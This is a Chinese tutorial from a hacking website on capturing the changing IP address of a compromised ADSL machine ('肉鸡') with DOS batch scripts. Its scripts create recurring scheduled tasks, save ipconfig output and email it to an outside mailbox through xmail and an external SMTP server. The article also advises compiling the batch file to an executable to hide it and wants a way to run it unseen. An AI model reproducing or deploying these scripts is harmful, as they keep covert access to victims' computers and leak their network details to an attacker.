通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 攻防教程 >> 文章正文
在DOS下实现动态捕捉IP
责任编辑:admin   更新日期:2005-7-6
 
ADSL上网越来越多。别人是拨一次号ip就变了一次。这对我们需要肉鸡的朋友可是个麻烦。一般考虑下个木马吧。可是现在别人的安全意识也提高了。3天2天杀毒软件就升级,马儿的日子也不好过哦。要怎么样能够动态的得到adsl的ip地址了?自己程序写不好,对DOS是情有独针,研究了一下,发现在DOS下也是有办法实现的。
这里首先得说一下3条DOS命令
1:FOR   
   可以通过这条命令从某个文本中得到某个字符段
2:PING
   检测网络的连通状况
3:findstr
   从某个文本中获取特定字符串

大概思路是先通过ping某个网站来并把结果保存到某个文本文件,通过for取得这个文本中的ip地址。判断这个ip地址是否正确。
   批处理如下
IF EXIST ping.txt del ping.txt
if exist ip1.txt del ip1.txt
if exist ip2.txt del ip2.txt
if exist ip3.txt del ip3.txt
if exist notconn del notconn.txt
if exist conn.txt del conn.txt
ping www.ddvip.net >>ping.txt
for /f "tokens=3 delims=[ " %%i in (ping.txt) do @echo %%i >>ip1.txt
findstr  /C:: ip1.txt >IP2.TXT
for /f "delims=: " %%i in (ip2.txt) do @echo %%i >ip3.txt
if not exist ip3.txt net send 127.0.0.1 "you computer noconn "
for /f "delims= " %%i in (ip3.txt) do if %%i equ 61.129.83.156 (net send 127.0.0.1 "you computer has conn ")

上面的代码只不过实现了判断是否连接到internet。有一点要说明一下,上面的代码实现的要求是要有个ping得通的网站(我这里选了www.ddvip.net,算是最后对豆豆做点宣传吧)。如果要对ping不通的网站进行判断也可以做到。只要把findstr  /C:: ip1.txt >IP2.TXT改为findstr  /C:] ip1.txt >IP2.TXT,再在最后一句for语句改一下就行了。我测试了一下。第2种办法效果不是很好。
要实现动态捕捉ip,就要使用到xmail这个工具了。把net send改为xmail smtp.21cn.com from@21cn.com to@sina.com ipconfigl.txt 再在上面加一句ipconfig >ipconfig.txt.做个计划任务,如果你还想保护到你自己的批处理(防止邮箱泄露)。你可以通过btoc编译工具把批处理做成可执行文件。这里有个小技巧。你可以把启动cmd时带上/q关闭回显。

后记:文章没有什么技术含量,也仅仅是提供一点思路。代码还有不完善的地方,主要是隐藏性不好。一直想做到在后台运行cmd,那位知道的麻烦联系我。 E-mail: zbasic@126.com
附上一段比较完善的代码:
IF EXIST ping del ping
if exist ipconfig.txt del ipconfig.txt
if exist ip1 del ip1
if exist ip2 del ip2
if exist ip3 del ip3
if exist time del time
at 12:00 /every: 1.bat
at 21:00 /every: 1.bat
ipconfig >>ipconfig.txt
ping www.ddvip.net >>ping
time /t >time
for /f "tokens= " %%i in (time) do at %%i /every: 1.bat
for /f "tokens=3 delims=[ " %%i in (ping) do @echo %%i >>ip1
findstr  /C:: ip1 >IP2
for /f "delims=: " %%i in (ip2) do @echo %%i >ip3
if not exist ip3 exit
for /f "delims= " %%i in (ip3) do if %%i equ 61.129.83.156 (xmail smtp.21cn.com from@21cn.com to@sina.com ipconfig.txt)
  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章提醒:“求职信”病毒1月6日发作
    普通文章两条“蠕虫”蠢蠢欲动
    普通文章5“网银大盗”狂盗储户14万 武汉男子被判10年
    普通文章“木马事件”终告结束 英语学习网重获新生
    普通文章搜索引擎不再喜欢新米,并非只是CN米
    普通文章蠕虫"威金"新变种 "小熊猫"屠宰多个计算机系统
    普通文章元旦上网谨防“Real蛀虫” 通过视频文件传播
    普通文章入侵工具Knark的分析及防范
    普通文章认清本质 计算机病毒防治常遇问题
    普通文章饶过现代Anti-Rookit工具的内核模块扫描(ZT)
    精彩专题